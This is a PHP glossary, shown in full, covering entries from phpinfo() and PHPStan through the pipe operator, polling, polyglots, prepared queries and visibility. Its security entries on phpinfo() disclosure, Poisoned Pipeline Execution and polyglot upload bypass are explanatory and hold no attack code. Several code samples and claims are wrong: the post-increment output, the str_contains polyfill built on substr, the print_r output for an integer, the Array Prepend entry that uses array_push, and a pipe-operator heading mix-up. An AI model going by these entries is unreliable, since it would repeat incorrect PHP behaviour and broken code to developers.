Leaving such a file accessible on a production server is a well-known security risk: it discloses the absolute file paths, loaded extensions and their versions, and configuration details, such as disable_functions or open_basedir, that an attacker can use to fingerprint the server and look for known vulnerabilities matching that exact configuration. For this reason, static analyzers and security scanners typically flag any call to phpinfo() left in deployed code.
<?php
// Show all information, defaults to INFO_ALL
phpinfo();
?>
See Also
- Part 1/3: Understanding phpinfo() — The Accidental Goldmine
- Pretty PHP Info: A Modern Replacement for
phpinfo() - Offensive Internet Posture
Related
PHPStan
PHPStan is a static analysis tool for PHP that finds bugs without running the code, by reading the source, its type declarations, and its docblocks, and checking them for consistency.
PHPStan is able to:
- Detect type errors, such as calling a method that does not exist or passing the wrong type to a function
- Understand the generics-like docblock type language, like
list<Order>,array<string, Money>, used across the PHP ecosystem - Enforce increasingly strict checking through numbered rule levels
- Be extended with custom rules and framework-specific extensions
- Run in continuous integration to catch regressions before deployment.
See Also
Related
- Static Code Analysis (SCA)
- Psalm
- Docblock
- Type Checking
- Type Parametricity
- Continuous Integration (CI)
- Linting
Related packages
Phptoken
PHPToken is a class, part of the Tokenizer extension, that provides an object-oriented interface for working with tokens generated by PHP’s tokenizer, used for parsing PHP code into tokens.
See Also
Related
PHPunit
PHPUnit is an open-source testing framework for the PHP programming language. It is designed to facilitate unit testing in applications. Unit testing is a software testing approach where individual units or components of a software application are tested in isolation to ensure they behave as expected.
See Also
Related
- Test
- Test Framework
- Mutation Testing
- Test Data Provider
- TestDox
- PCOV
- Red-Green-Refactor
- Regression
- Test-Driven Development
Related packages
PHP Installer For Extensions (PIE)
PIE is an extension installer for PHP, designed as a successor to PECL and developed by the PHP Foundation. Pie is dedicated to installing PHP extensions, by downloading them or compiling them locally.
It aims at working like composer.
With the publication of PIE 1.0, in early 2026, PECL does not accept new packages, and direct authors to the PIE infrastructure.
See Also
- All PIE extensions
- Managing PHP Extensions Is As Easy As PIE
- Announcing the Pre-Release of the PHP Installer for Extensions (PIE)
Related
Pipe Operator |>
The pipe operator is |>. It chains calls from methods from left to right, using the result of the first method as the only argument of the next method.
The pipe operator is compatible with every form of PHP callable: string, arrays, first class callable, closures, arrow functions with parenthesis, etc.
Pipe operator is not compatible with references.
The pipe operator should not be mistaken with the | pipe logical operator, which combines two values with a or logic.
<?php
$result = abc |> trim(...) |> 'strtoupper'; // 'ABC'
?>
See Also
- PHP 8.5: Pipe operator (|>)
- Introducing Piper: array and string manipulation with the pipe operator
- My thoughts on Spatie/Piper
Related
Pipe |, The Logical Operator
The pipe operator is the |> operator.
The pipe operator chains two callables from left to right: it takes the return value of the first callable and passes it to the right callable.
The pipe operator is equivalent to nested calls of functions, methods, closures. It also only applies to callables with one compulsory parameter, with return values, and without references.
It was added in version 8.5.
The pipe operator is a reference to the | pipe operator from the command line, which uses the result of the previous, left, command to feed the next, right, command. It should not be confused with the or bitwise operator |, already available.
<?php
$result = "HELLO world" |> trim(...) |> strtolower(...) |> ucfirst(...);
// Hello World
// Same as
$result = ucfirst(strtolower(trim("HELLO World")));
// Hello World
?>
See Also
Related
Pipeline
A pipeline is a chain of steps that composes a sequential set of actions.
A pipeline is used with:
- Datasets, to read, transform and save data
- Continuous integration, where each check and packaging follows the previous one
- Processing, where each step is a separate process
The pipeline image is related to the assembly line, from factories.
See Also
Related
- Continuous Delivery (CD)
- Continuous Integration (CI)
- Pull Request (PR)
- Task Runner
- Code Review
- Middleware Pattern
- Poisoned Pipeline Execution (PPE)
Related packages
Plain Text
Plain Text refers to data that is human-readable, and not protected by any cryptography transformation. It may be read and understood as is.
Plain text is the result of a cracking process, or deciphering, where the original data is crypted, and that transformation was lifted.
<?php
$plainText = 'PHP Rocks!';
$cryptedData = str_rot13($plainText); // cannot be read anymore
$plainTextAgain = str_rot13($cryptedData);
?>
See Also
Related
Plugin
A plugin is a component that adds new features to existing code.
A plugin is built on top of a framework, and makes usage of it. It may also have its own dependencies.
Plugin is a generic term, and has many variations: component, extension, module, etc.
See Also
Related
Plus +
+ is a native PHP operator. It has three usages:
- The addition, as in mathematics, on numbers. This works on integers and floats.
- The merging of arrays. This merge sets the keys once, then omits the next values. This is distinct from
array_merge(). - The + sign in front of a number, to make it explicitly positive. This is optional, and may be repeated.
<?php
$a = 1 + 2; // 3
$b = [1, 2] + [3, 4, 5]; // [1,2, 5]
$c = +6; // 6
?>
See Also
Related
Portable Network Graphics (PNG)
PNG, the Portable Network Graphics format, is a lossless raster image format that supports transparency through an alpha channel. It was designed as an improved, patent-free replacement for GIF.
PNG uses DEFLATE compression, which is lossless: no image data is discarded during compression. This makes PNG ideal for images with sharp edges, text, icons, and screenshots, but less efficient than JPEG for photographs.
PHP’s GD extension handles PNG images with functions such as imagecreatefrompng(), imagepng(), and imagecolortransparent(). imagepng() accepts an optional compression level from 0, no compression, to 9, maximum compression.
The Imagick extension provides additional PNG manipulation capabilities using ImageMagick library.
<?php
$image = imagecreatefrompng('input.png');
// Add a watermark or transform...
imagepng($image, 'output.png', 6); // Compression level 6
imagedestroy($image);
?>
See Also
Related
Pointer
Pointers are a fundamental concept in programming, especially in languages like C and C++. A pointer is a variable that stores the memory address of another variable.
PHP does not support a notion of pointer. The closest feature is called ‘reference’, yet it is quite different from pointers.
<?php
$a = 1;
$b = &$a;
$b = 2;
echo $a; // 2
?>
See Also
Related
Poisoned Pipeline Execution (PPE)
Poisoned Pipeline Execution, or PPE, is a CI/CD security attack in which an attacker injects malicious code into a repository’s CI/CD pipeline configuration or triggered workflow, causing the pipeline to execute attacker-controlled code in a trusted environment.
The attack exploits the automatic execution of pipeline definitions when a pull request or commit is made. Because these pipelines often have access to secrets, tokens, deployment credentials, and cloud infrastructure, a successful PPE attack can lead to secret exfiltration, artifact tampering, supply chain compromise, or full environment takeover.
There are two main variants:
- Direct
PPE,D-PPE: the attacker modifies the pipeline configuration file directly in their branch - Indirect
PPE,I-PPE: the attacker modifies a file consumed by the pipeline rather than the pipeline definition itself
Mitigations include: requiring human approval before running pipelines on external pull requests, pinning actions to full commit SHAs, restricting secret access to protected branches, and auditing pipeline definitions as part of code review.
See Also
Related
Polling API
The Polling API is a PHP 8.6 addition that provides a single interface over the platform polling mechanisms: epoll on Linux, kqueue on BSD and macOS, event ports on Solaris and illumos, WSAPoll on Windows, and poll as a POSIX fallback. The backend is selected automatically.
The API lives in the Io\Poll namespace. It is meant to replace stream_select() in event loops and async runtimes. It provides polling only, not a full event loop.
The main classes are:
Io\Poll\Context: holds the set of watched handles and waits for events withwait()Io\Poll\Watcher: returned byContext::add(), it reports the triggered events and can modify or remove the watchIo\Poll\Event: enum ofRead,Write,Error,HangUp,ReadHangUp,OneShotandEdgeTriggeredIo\Poll\Backend: enum of the available backendsStreamPollHandle: wraps a PHP stream so it can be polled
User classes cannot implement Io\Poll\Handle. The RFC names it as a marker interface, and sockets and curl handles are planned as future handle types.
The RFC is mainly an internal API for PHP core and extensions, for example ZTS signal handling in FrankenPHP, PHP-FPM worker events and timers. The userspace API is a secondary goal. Symfony provides a polyfill for PHP 8.1 and later.
<?php
use Io\Poll\{Context, Event};
$poll = new Context(); // Backend::Auto
$stream = fopen('php://temp', 'r+');
$poll->add(new StreamPollHandle($stream), [Event::Read], 'tag');
foreach ($poll->wait(1) as $watcher) { // wait up to 1 second
if ($watcher->hasTriggered(Event::Read)) {
echo 'Stream is readable, tag: ', $watcher->getData(), PHP_EOL;
}
}
?>
See Also
Related
Polling
Polling is a technique where a script repeatedly checks the status of a resource or condition at regular intervals, until a result is available or a timeout is reached.
Polling is common when waiting for asynchronous results: checking a queue, a database row, a file, or a socket. Short polling loops with a sleep() or usleep() call between iterations, while long polling holds the HTTP connection open until the server has a response.
stream_select() is the native PHP primitive for polling multiple streams simultaneously without busy-waiting. For process-level polling, pcntl_waitpid() with the WNOHANG flag avoids blocking.
Polling trades simplicity for efficiency: it is easy to implement but may waste CPU cycles or impose latency. Event-driven alternatives such as libevent, ReactPHP, or Swoole coroutines can replace polling when throughput matters.
Several PHP native functions include polling as a configuration: curl_multi_select(), inotify_read().
<?php
// Short polling: check a database flag every second
$timeout = 30;
$start = time();
while (time() - $start < $timeout) {
$row = $pdo->query('SELECT done FROM jobs WHERE id = 1')->fetch();
if ($row['done']) {
echo 'Job finished.';
break;
}
sleep(1);
}
// Stream polling with stream_select()
$read = [$socket];
$write = null;
$except = null;
$changed = stream_select($read, $write, $except, seconds: 5);
if ($changed > 0) {
$data = fread($read[0], 1024);
}
?>
See Also
Related
- sleep
- Stream
- stream_select()
- Socket
- Event Driven
- Blocking Wait
- Real Time
- C10K
- Edge Triggered
- Fire-and-forget
- Non-blocking
- One-shot
Polyfill
A polyfill is a piece of code that provides modern functionality on older browsers or environments that lack support for certain features. Polyfills are used to bridge the gap between the capabilities of modern web standards and the limitations of older browsers that might not fully support those standards.
The term polyfill is a combination of poly, meaning many, and fill, meaning to provide what’s missing. Essentially, a polyfill fills in the missing functionality by replicating the behavior of the modern feature using JavaScript or other technologies, allowing developers to write code using modern APIs and standards without worrying about compatibility with older browsers.
There are polyfills for PHP versions, for specific extensions, in case they are not compiled with PHP or component versions.
There are polyfills available in packagist, like the family of packages symfony/polyfill-*, or manually coded in the sources.
Polyfills exist for PHP, but also for any framework.
<?php
// hand-made polyfill
if (!function_exists('str_contains')) {
function str_contains(string $a, string $b) : bool {
return substr($a, $b) !== false;
}
}
?>
See Also
Related
Related packages
Polyglot
Something is polyglot when it can handle multiple languages at the same time. The original meaning is for human, when they speak several languages. It also applies in computer science, since there are computing languages.
A polyglot application handles several languages in its human interfaces. It is often related to internationalization.
In web security, polyglot files are used to bypass upload filters or content-type checks: an image that also contains valid PHP code, for example, may be accepted as an avatar upload, then executed by the server if it is later included or requested directly. Polyglots are also built to be valid in several scripting or markup languages at once, such as a file that is both valid HTML and valid JavaScript, in order to slip past validators that only inspect one format.
Polyglot programming may also refer, more broadly, to writing applications that combine several programming languages, each used for the part of the system it fits best.
Polyglot tools are utilities that can provide pragmatic feedback on source code, in several languages.
See Also
- Polyglot Files: A Portable Executable resource that is also a ZIP archive
- Also PHP
- Persistent PHP payloads in PNGs: How to inject PHP code in an image – and keep it there !
Related
Polymorphism
Polymorphism is a fundamental concept in object-oriented programming, or OOP. It allows different classes to be treated as instances of a common base class, interface, or abstract class, and it allows writing code that works with these objects without needing to know their specific types.
Polymorphism is achieved through method overriding and interfaces. A class may only extend a single parent class, though that parent may itself extend another, forming a chain of inheritance. On the other hand, implementing interfaces can be arbitrarily chosen for any class and its children, and a class may implement several interfaces at once.
<?php
class Object {}
// the interfaces are empty for better readability
interface hasMedian {}
interface hasInscribedCircle {}
class Triangle extends Object implements hasInscribedCircle, hasMedian {}
class Square extends Object implements hasInscribedCircle {}
class Pentagon extends Object {}
?>
See Also
Related
- Interface
- Class
- Inheritance
- Trait
- Generics
- instanceof
- Intersection Type
- is_a()
- OOP (Object Oriented Programming)
- Monomorphization
- Existential Type
- Higher-Kinded Type
- Mixin
- Row Polymorphism
- Sealed Class
- Multiple Dispatch
- Pattern
- Structural Typing
- Type Class
Pop
Pop is the operation of removing and returning the last element of a stack or array. It is the counterpart of push, and together they implement the Last-In, First-Out, LIFO, behaviour that defines a stack.
array_pop() removes and returns the last element of an array, reducing its length by one. The array is passed by reference. If the array is empty, array_pop() returns null.
For queue semantics, the counterpart operation is array_shift(), which removes the first element.
PHP’s SplStack and SplDoublyLinkedList also expose a pop() method that follows the same LIFO contract.
<?php
$stack = [1, 2, 3, 4];
$last = array_pop($stack);
echo $last; // 4
print_r($stack); // [1, 2, 3]
// Using SplStack
$splStack = new SplStack();
$splStack->push('a');
$splStack->push('b');
$splStack->push('c');
echo $splStack->pop(); // c
?>
See Also
Related
- array_push()
- array_pop()
- Stack
- SplStack
- Last In, First Out (LIFO)
- First In, First Out (FIFO)
- Data Structure
- Array, []
- Insecure Deserialization
Plain Old PHP Object (POPO)
Plain Old PHP Object, or POPO for shorts, refers to a simple PHP class that does not depend on any framework, library, or special inheritance. POPO are just basic classes with properties and methods, used to represent data or logic without any external dependencies. They are often contrasted with objects that are tied to frameworks, like Doctrine entities in Symfony, or use magic methods or reflection heavily.
Plain Old <Language> Object also works for any other programming language.
<?php
class User {
public string $name;
public string $email;
public function __construct(string $name, string $email)
{
$this->name = $name;
$this->email = $email;
}
public function getInfo(): string
{
return "Name: {$this->name}, Email: {$this->email}";
}
}
// Usage
$user = new User('Elephpant PHP', 'elephpant@php.net');
echo $user->getInfo(); // Output: Name: Elephpant PHP, Email: elephpant@php.net
?>
See Also
- POPO — What is it, and why should you not use it?
- Plain old PHP Object - Usability and benefits in modern PHP programming
- Do not Forget POPO, the Plain Old PHP Object approach
Related
Port
In computer networking, a port is a communication endpoint that facilitates the transfer of data between different processes or devices over a network.
A port is identified by a number, known as the port number, which is part of the addressing information used to direct the data to its destination. Port numbers are standardized across different systems and protocols.
Ports are categorized into two types: TCP, Transmission Control Protocol, ports and UDP, User Datagram Protocol, ports. TCP and UDP are both protocols used in the Internet Protocol Suite for transmitting data across networks, but they have different characteristics.
<?php
$url = 'http://www.sample.com/';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_PORT, 8088);
$result = curl_exec($ch);
curl_close($ch);
echo $result;
?>
See Also
Related
Portability
Portability refers to the ability of a PHP codebase to run on different platforms or environments without requiring significant modifications. It means that the code can be easily transferred from one system to another, such as different operating systems or web servers, without encountering compatibility issues or breaking functionality.
The notion of portability is essential because PHP applications are often deployed on various platforms, like Windows, Linux, or macOS, and different web servers like Apache HTTP Server or Nginx.
To ensure portability of PHP code, developers should follow best practices such as avoiding platform-specific functions, libraries, or configurations. Additionally, frameworks and libraries promote portability, such as Laravel or Symfony.
For example, some PHP functions are not available on Windows or Linux; some extensions are not available on all platforms, such as scoutapm or com. Such non-portable features should not be used, or made optional in code for which portability is important. For example, the COM extension, or the win32service extension, is available only on Windows; the extensions ev and eio are only available on Linux. When accessing files, both the / used by Linux, and \ used by Windows are supported, though it is recommended to use the /.
See Also
Related
Ports And Adapters
Ports and Adapters is the formal name for the pattern underlying hexagonal architecture, coined by Alistair Cockburn. It separates the application core from its external dependencies by defining two types of boundary:
A port is an interface declared by the application core. It expresses what the application needs or what it accepts without knowing anything about the outside world.
An adapter is an implementation of a port that bridges the application core to a specific technology. A database adapter implements a repository port; an HTTP adapter implements a web input port; a test adapter implements a port using in-memory fakes.
Input ports represent entry points into the application: HTTP controllers, CLI commands, queue consumers. Output ports represent dependencies the application calls: databases, email senders, external APIs.
This pattern is expressed through interfaces and dependency injection: the core declares an interface which acts as the port, and a framework or infrastructure class implements it, which acts as the adapter. The DI container wires them together.
<?php
// Output port — declared in the domain layer
interface OrderRepository {
public function findById(int $id): ?Order;
public function save(Order $order): void;
}
// Adapter — lives in the infrastructure layer
class PdoOrderRepository implements OrderRepository {
public function findById(int $id): ?Order { /* SQL */ }
public function save(Order $order): void { /* SQL */ }
}
// Test adapter — in-memory, no database needed
class InMemoryOrderRepository implements OrderRepository {
private array $store = [];
public function findById(int $id): ?Order { return $this->store[$id] ?? null; }
public function save(Order $order): void { $this->store[$order->id] = $order; }
}
// Input port — application service driven by an HTTP adapter (controller)
class PlaceOrderUseCase {
public function __construct(private OrderRepository $orders) {}
public function execute(PlaceOrderCommand $cmd): Order { /* domain logic */ }
}
?>
See Also
Related
- Hexagonal Architecture
- Adapters
- Dependency Injection
- Interface
- Clean Architecture
- Layered Architecture
- Domain Design Driven (DDD)
Positional Parameters
A way of calling a function or method, where arguments are identified by their position in the signature or the call. This is the traditional way of sending arguments to a method.
The alternative way is to use named parameters.
<?php
function trumpet($trunk, $tusk) {
return $trunk - $tusk;
}
echo trumpet(2, 3); // return -1
echo trumpet(3, 2); // return 1
echo trumpet(trunk: 2, tusk: 3); // return -1
echo trumpet(tusk: 2, trunk: 3); // return 1
?>
See Also
Related
Positive Integer
A positive integer is an integer value which is 0 or larger.
PHP handles only signed integers, and there are no specific types to characterize positive integers.
Some functions return only positive integers, such as abs(), strlen() or count(). Yet, they are typed with a return type of int.
See Also
Related
POSIX
posix is a PHP extension that gives access to functions defined in the IEEE 1003.1, POSIX.1, standard that are not reachable through other PHP functions. It exposes operating system features such as process identifiers, user and group information, terminal detection, signal sending, and system identification.
The extension is available on Unix-like systems only: Linux, macOS, BSD. It is enabled by default in most PHP builds.
posix is commonly used alongside pcntl in command-line scripts, for example to check the current user, to detect whether a stream is a terminal with posix_isatty(), or to send signals with posix_kill().
<?php
$uid = posix_getuid();
$user = posix_getpwuid($uid);
echo 'Running as ', $user['name'], ' (uid ', $uid, ')', PHP_EOL;
if (posix_isatty(STDOUT)) {
echo 'Output is a terminal', PHP_EOL;
}
?>
See Also
Related
Post-increment
Post-increment is the ++ operator, used on a variable, when it is placed after the variable. This means that the increment happens after the variable is read: in this case, the first echo displays 1, as the increment happens after the echo call.
There is also a post-decrement, which uses the operator --, and reduces the variable by 1.
Post-increment and post-decrement have a corresponding pre-increment and pre-decrement.
<?php
$a = 1;
echo $a++; // displays 2
echo $a; // displays 2
?>
See Also
Related
Pound
# is character, used in various situations:
- Starts a single line comment
- Starts the anchor part of a URL
This is also called a hash, although hash as many other meanings.
<?php
parse_url('http://www.php.net/strlen#anchor');
# A single line PHP comment
?>
Related
Pull Request (PR)
A Pull Request is a feature of version control systems, VCS, that allows a developer to propose changes to a codebase.
It’s the standard way teams collaborate on GitHub, GitLab, Bitbucket, etc.
The Pull Request is submitted by the author of the changes, and then, reviewed, commented, amended and augmented until it is validated. At that point, it is merged with the code base.
A Pull Request may be built on a dedicated branch, and over several commits.
See Also
Related
- Commit
- Branch
- Version Control System (VCS)
- Code Review
- Pipeline
- Contribution
- Concurent Version System (CVS)
- VCS Commit
Pre-increment
Pre-increment is the ++ operator, used on a variable, when it is placed before the variable. This means that the increment happens before the variable is read: in this case, the first echo displays 2, as the increment happens before the echo call.
There is also a pre-decrement, which uses the operator --, and reduces the variable of 1.
Pre-increment and pre-decrement have a corresponding post-increment and post-decrement.
<?php
$a = 1;
echo ++$a; // displays 2
echo $a; // displays 2
?>
See Also
- Understanding the Increment and decrement operators in PHP
- Useless post increment/decrementPHP-W1090
Related
Precedence
Precedence organizes the way operators are executed, when they are mixed in the same expression.
For example, 1 + 2 * 3 will produce 7, since * has a higher precedence than +.
Every operator has a precedence, and when they have the same precedence, the rightmost one yield to the leftmost one.
Precedence offers some reading surprises to human readers. For example, ! $trunk instanceof \Elephpant really applies instanceof first, and && has a higher priority than and, even though they perform the same function.
<?php
var_dump(!$trunk instanceof \Elephpant);
var_dump($tusk = 1 and 2);
?>
See Also
Related
precision
Precision refers to the number of digits that are used to represent and display floating-point numbers. The exact meaning depends a bit on the context, but it’s most commonly about float accuracy and formatting.
Precision is important when using a decimal number as an array index: the conversion is implicit, and, nowadays, it yields a warning.
Precision is also lost when an integer is converted to a decimal number, which may not be accurately represented. This happens with large integers, when they are converted to float, because of their size.
precision and serialize_precision are two PHP directives that control the display or conversion of numbers.
<<?php
echo 1 / 7;
print PHP_EOL;
ini_set('precision', 2);
echo 1 / 7;
?>
See Also
Related
Predefined Constants
Predefined constants are PHP native constants, available at the start of the PHP engine.
Those constants are for internal usage, such as E_ALL, for error reporting, or STDOUT, for output. Some constants provide information, such as PHP_VERSION’s PHP version number. Others are meant to give a readable name to common values or arguments, such as DATE_RFC822.
Other constants come from extensions: for example, the Math extension defines M_PI for the pi constant, 3.14159…, libsodium defines SODIUM_CRYPTO_CORE_RISTRETTO255_SCALARBYTES, etc. Those are also predefined constants, although they depend on the compilation of PHP.
The list of all the defined constants is available with the get_defined_constants() function.
<?php
echo 'This is PHP ' . PHP_VERSION;
?>
See Also
Related
PHP Predefined Exception
PHP predefined exceptions are the exception and error classes that ship built into the engine itself, available in every PHP installation without requiring any extension, autoloading, or namespace import. They form a class hierarchy rooted in the Throwable interface, which splits into two main branches: Exception, meant for conditions an application can reasonably anticipate and recover from, and Error, meant for problems in the program itself, such as type mismatches or calls to undefined functions, that are usually not meant to be caught during normal operation. Beyond the base Exception and Error classes, PHP and its Standard PHP Library provide a family of more specific predefined exceptions such as RuntimeException, LogicException, InvalidArgumentException, OutOfRangeException, OutOfBoundsException, LengthException, DomainException, RangeException, UnexpectedValueException, TypeError, ValueError, ArgumentCountError, ArithmeticError, and DivisionByZeroError, each documenting a narrower category of failure so that calling code can catch precisely the situations it knows how to handle. These classes evolve slightly from one PHP version to the next as new, more precise exceptions are introduced to replace generic ones, so the exact catalogue and inheritance chain should always be checked against the manual for the target PHP version rather than assumed from memory.
<?php
try {
throw new RuntimeException('one error!');
} catch (Exception $e) {
print "Caught an exception of type ".get_class($e);
}
?>
See Also
Related
Prefix
A prefix is a word extension, placed before the name.
In linguistics, prefixes change the meaning of the word, and give it a newly built meaning, based on the meanings of the word and the prefix. For example, reconnect is built with re, which means again, and connect, which means connect. Reconnect is the action to connect again, after a previous connection was lost.
Prefixes are used for conventions: methods built with specific prefixes should deliver a specific behavior.
get: access a valueset: assign a valuewith: use an option to apply a processfind: search for a value, and may fail if there are noneparse: analyze a piece of data to understand it- Etc.
In older PHP versions, prefixing variables used to hold the type of the variable.
A similar notion is the suffix, which is located at the end of the word. Another way to create a word is word combination.
In recent PHP, prefixing names is done using namespaces. It is also required for extensions to use a distinct prefix, such as mysqli_ or pg_. This may not apply to all global functions, for backward compatibility reasons.
See Also
Related
Preg_match
preg_match() searches a string for a match to the regular expression given in pattern.
preg_match() only returns the first found match. When several matches are expected, use this function recursively with the $offset pattern, or call preg_match_all().
The first argument is the regex, and the second argument is the string being searched.
The third argument, when provided, receives the results of the search, if any. It also contains the capturing sub patterns results. The variable content is replaced by an array: references are also lost. When an error occurs, the variable is left intact.
An $offset argument is available, to start the search beyond the beginning of the string.
preg_match() returns 1 if there is at least one matched string, and 0 otherwise. It also returns false in case of error during execution, such as invalid regex, or passing backtracking limits. It is recommended to use === with its result.
<?php
preg_match('/(a)/i', 'aAba', $r);
print_r($r); // ['a', 'a']
?>
See Also
Related
preg_replace()
preg_replace() searches a string for matches of a regular expression, and replaces them with a replacement string. It is the regex-powered counterpart of str_replace(), which only handles literal substrings.
The first argument is the pattern, or an array of patterns, the second is the replacement, or an array of replacements, and the third is the subject string, or an array of subjects. Captured groups from the pattern may be reused in the replacement with $1, $2, etc.
An optional limit argument caps the number of replacements per subject, and an optional count reference receives the total number of replacements performed. preg_replace() returns null on error, so its result should not be used without checking, especially when the pattern comes from a variable.
When the replacement needs to run arbitrary code rather than a static string, preg_replace_callback() should be used instead; the historic /e modifier that allowed code execution directly inside preg_replace() was removed in version 7.0+.
<?php
$result = preg_replace('/\s+/', ' ', 'too many spaces');
// 'too many spaces'
$result = preg_replace('/(\w+)@(\w+)/', '$2@$1', 'user@host');
// 'host@user'
?>
See Also
Related
preg_split()
preg_split() splits strings with a regular expression.
That function allows for complex splitting of strings, including capturing the separators. For simpler splits where the separator is a static value, use explode().
<?php
$sentence = 'hypertext language, programming';
$keywords = preg_split('/[\s,]+/', $sentence);
// ['hypertext', 'language', 'programming']
// This needs the parenthesis in the regex. Multiple parenthesis are possible.
$separators = preg_split('/([\s,]+)/', $sentence, flags: PREG_SPLIT_DELIM_CAPTURE);
// ['hypertext', ' ', 'language', ', ', 'programming']
print_r($separators);
$words = explode(' ', $sentence);
// ['hypertext', 'language,', 'programming']
// comma is still collected
?>
See Also
Related
Premature Optimization
Premature optimization is the practice of optimizing code before profiling has identified it as a bottleneck. The term originates from Donald Knuth’s 1974 paper: We should forget about small efficiencies, say about 97% of the time: premature optimization is the root of all evil.
The full quote is often truncated. Knuth’s point is not that performance is unimportant, but that optimizing the wrong part of the code wastes time and introduces complexity with no measurable benefit. The 97% refers to micro-optimisations on non-critical paths.
Premature optimization manifests as: avoiding readable constructs in favour of micro-benchmarked alternatives, using isset() instead of array_key_exists() everywhere for a perceived speed gain, avoiding abstractions like interfaces, DI container, for hypothetical performance reasons, inlining queries to avoid method calls, or caching results that are computed rarely.
The correct approach: write clear, maintainable code first; profile with Blackfire, Xdebug, or Tideways to find the actual bottleneck; then optimize the identified hot path with evidence.
<?php
// Premature: manually inlining logic to avoid a function call overhead
// (function call overhead is negligible; the complexity is not)
$result = 0;
for ($i = 0; $i < count($items); $i++) { // also: count() inside loop is a real issue
$result += $items[$i]['price'] * $items[$i]['qty'];
}
// Clear: readable, correct, and fast enough for 99% of cases
$total = array_sum(array_map(
fn($item) => $item['price'] * $item['qty'],
$items,
));
// Correct process: profile first
// $ blackfire run php script.php
// Then optimize only the functions Blackfire shows as hot spots.
?>
See Also
Related
Prepared Query
A prepared query is a compiled query, where data are provided as parameters.
Instead of executing the query at once, the query is compiled first, and placeholders are filled later with the actual data. This prevents injections, as the data and the query are separated.
Most PHP DB extensions support prepared statements. Prepared statements may also be available with other systems than SQL databases, such as Gremlin server.
<?php
// Example from PHP manual
/* Execute a prepared statement by passing an array of values */
$sth = $dbh->prepare('SELECT name, colour, calories
FROM fruit
WHERE calories < ? AND colour = ?');
$sth->execute([150, 'red']);
$red = $sth->fetchAll();
$sth->execute([175, 'yellow']);
$yellow = $sth->fetchAll();
?>
See Also
- Prepared Statements (Mysqli)
- What are prepared statements in PHP?
- Prepared statements in Manticore Search
Related
Array Prepend
Prepend is an array operation, which adds an element at the beginning of the array. It is also called a shift.
There are one function for this feature: array_unshift(). It takes the array, and the value to add, returns a new array.
The opposite operation is a pop, with the function array_shift().
<?php
$array = [1, 2, 3];
array_push($array, 6);
// $array === [1, 2, 3, 6];
?>
See Also
Related
Preprocessing
Preprocessing is an optimisation technique, where a value is calculated even before the execution of a script. This is only possible with constants values, which are known before execution.
Preprocessing may save execution time, and memory.
In terms of maintenance, it hides some implementation details in the result: one has to guess where this value is coming from.
<?php
$seconds = 60;
$minutes = 60;
$hours = $seconds * $minutes;
// this variable may be preprocessed, saving the calculation at execution time.
$hours = 3600;
?>
See Also
Related
Primary Key
A primary key is a column, or set of columns, in a relational database table whose values uniquely identify each row. A table has at most one primary key, and none of its columns may hold NULL.
The database engine automatically builds a unique index on the primary key, which is what makes lookups and joins against it fast. Every foreign key in the schema points back to some table’s primary key, which is why the two concepts are always discussed together.
A primary key may be a natural key, a value that already carries business meaning, such as an email or an ISBN, or a surrogate key, an artificial value with no meaning outside the database, such as an auto-increment integer or a UUID. Surrogate keys are the more common choice, since natural keys can change over time or turn out not to be as unique as assumed.
A composite primary key spans several columns; this is common on join tables in many-to-many relationships, where the pair of foreign keys together forms the key.
<?php
// Doctrine migration declaring a primary key
$table->addColumn('id', 'integer', ['autoincrement' => true]);
$table->setPrimaryKey(['id']);
?>
See Also
Related
- Foreign Key (FK)
- Surrogate Key
- Auto-Increment
- Unique Identifier
- Referential Integrity
- Database
- Index For SQL
Primitive Obsession
Primitive Obsession is a bias in the way the code is written. It happens when the code uses too many primitive types, even to represent complex concepts.
<?php
class Person
{
public string $id;
public string $firstName;
public string $lastName;
public string $address;
public string $postCode;
public string $city;
public string $country;
}
?>
See Also
Related
print() is a PHP language construct used to output text to the browser or the output stream. It is often used to display information to users on a web page or to debug and inspect variable values during development. The print construct can be used in two forms: with or without parentheses.
print() is a language construct of PHP. It only accepts one argument and it returns 1.
print() also has a closely related function called print_r(), used for debugging.
<?php
print 'Hello';
print(' world!');
?>
See Also
Related
print_r()
print_r() is a built-in PHP function used for displaying the contents of an array or an object in a human-readable format.
It’s particularly helpful for debugging and understanding the structure of complex data structures in the PHP code.
When using print_r(), it displays the array or object’s values and structure to the browser or the console.
print_r() has a second parameter, which controls the direct output of the debug information to a string, instead of the standard output. This is useful to control the final destination of the message: it might be sent to a logging system, or duplicated.
print_r() carries the risk to have debugging tools published to production: while it doesn’t provide any meaningful attack surface, it is a data leak. It has no eradication mechanism, like assert().
<?php
$a = 1;
print_r($a);
/*
Array
(
[0] => 1
)
*/
?>
See Also
Related
printf()
printf() is a PHP native function, that places the content of variables into strings, with the help of placeholders and formatting commands.
printf() displays the resulting string directly to STDOUT; sprintf() returns the string for further processing; vprintf() works as printf(), but with an array of arguments; fprintf() writes the result directly in a stream, and vfprintf() is the same, with an array of arguments.
The first argument of printf() is a format string. The string contains format specifiers, which are detailed on the function’s documentation page.
printf() should have one argument for each of the placeholders, plus the formatting string. The function reports when arguments are missing, and ignores silently any superfluous argument.
<?php
$variable = 'elephpant';
printf('The %s is happy.', $variable);
?>
See Also
Related
Privacy
Privacy in software refers to the protection of personal and sensitive user data. It encompasses both legal obligations, such as GDPR in the EU, CCPA in California, LGPD in Brazil, and technical measures that prevent unauthorised collection, storage, processing, or disclosure of personal information.
In applications, privacy considerations include:
- Minimising data collection: only collecting data that is strictly necessary
- Encryption: storing sensitive data, such as passwords, secrets, personal information, in encrypted or hashed form
- Anonymisation and pseudonymisation: replacing identifying information with tokens or hashes
- Consent management: obtaining and recording user consent before collecting data
- Data retention policies: deleting data after its retention period expires
- Access controls: restricting which parts of the application can read personal data
- Audit trails: logging access to sensitive data
- Secure transmission: using HTTPS and TLS for all data in transit
PHP’s SensitiveParameter attribute prevents sensitive argument values from appearing in stack traces.
<?php
// PHP 8.2+: SensitiveParameter prevents the value from appearing in stack traces
function authenticate(
string $username,
#[\SensitiveParameter] string $password
): bool {
// ...
return password_verify($password, getStoredHash($username));
}
// Anonymising an email address for logging
function anonymizeEmail(string $email): string
{
[$local, $domain] = explode('@', $email);
return substr($local, 0, 2) . '***@' . $domain;
}
?>
See Also
Related
- Security
- Compliance
- Anonymize
- Sensitive Parameter
- Cryptography
- Audit Trail
- Authentication
- Data Leak
- Password API
- Password
- Secret
Private Visibility
The private keyword is part of the three keywords to define visibility of a method, property or class constant. It is the strictest level of visibility: it restricts usage to the current class only. A child class can redefine it, but it cannot the parent’s: the reverse is also true.
